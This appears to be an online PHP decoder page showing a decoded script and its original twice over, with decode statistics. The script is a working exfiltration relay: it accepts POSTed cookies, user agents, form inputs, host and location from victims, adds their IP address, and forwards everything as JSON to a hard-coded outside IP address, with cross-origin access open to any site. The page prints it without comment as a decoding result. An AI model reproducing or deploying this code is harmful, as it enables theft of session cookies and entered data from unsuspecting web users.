Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php header("Access-Control-Allow-Origin: *"); if ($_SERVER["REQUEST_METHOD"] == "P..
Decoded Output download
<?php
header("Access-Control-Allow-Origin: *");
if ($_SERVER["REQUEST_METHOD"] == "POST") {
$curDate = date("d-m-Y");
$curTime = date("H:i:s");
$remoteIP = $_SERVER["REMOTE_ADDR"];
$location = $_POST["location"];
$uagents = $_POST["uagents"];
$cookies = $_POST["cookies"];
$name = $_POST["name"];
$host = $_POST["host"];
$inputs = $_POST["inputs"];
$data = [
"remote_ip" => $remoteIP,
"location" => $location,
"uagents" => $uagents,
"cookies" => $cookies,
"name" => $name,
"host" => $host,
"date" => $curDate,
"time" => $curTime,
"inputs" => $inputs,
];
// URL do servidor remoto
$remoteServerURL = "http://5.44.42.82:8081/target_endpoint.php";
// Configurar o contexto para o POST request
$options = [
'http' => [
'header' => "Content-type: application/json
",
'method' => 'POST',
'content' => json_encode($data)
]
];
$context = stream_context_create($options);
$response = file_get_contents($remoteServerURL, false, $context);
if ($response === false) {
echo "Erro ao enviar dados.";
} else {
echo "Dados enviados com sucesso!";
}
} else {
echo "Wrong request method.";
}
?>
Did this file decode correctly?
Original Code
<?php
header("Access-Control-Allow-Origin: *");
if ($_SERVER["REQUEST_METHOD"] == "POST") {
$curDate = date("d-m-Y");
$curTime = date("H:i:s");
$remoteIP = $_SERVER["REMOTE_ADDR"];
$location = $_POST["location"];
$uagents = $_POST["uagents"];
$cookies = $_POST["cookies"];
$name = $_POST["name"];
$host = $_POST["host"];
$inputs = $_POST["inputs"];
$data = [
"remote_ip" => $remoteIP,
"location" => $location,
"uagents" => $uagents,
"cookies" => $cookies,
"name" => $name,
"host" => $host,
"date" => $curDate,
"time" => $curTime,
"inputs" => $inputs,
];
// URL do servidor remoto
$remoteServerURL = "http://5.44.42.82:8081/target_endpoint.php";
// Configurar o contexto para o POST request
$options = [
'http' => [
'header' => "Content-type: application/json\r\n",
'method' => 'POST',
'content' => json_encode($data)
]
];
$context = stream_context_create($options);
$response = file_get_contents($remoteServerURL, false, $context);
if ($response === false) {
echo "Erro ao enviar dados.";
} else {
echo "Dados enviados com sucesso!";
}
} else {
echo "Wrong request method.";
}
?>
Function Calls
None |
Stats
MD5 | e03a742a2e923f89ee15d3769e21fd07 |
Eval Count | 0 |
Decode Time | 46 ms |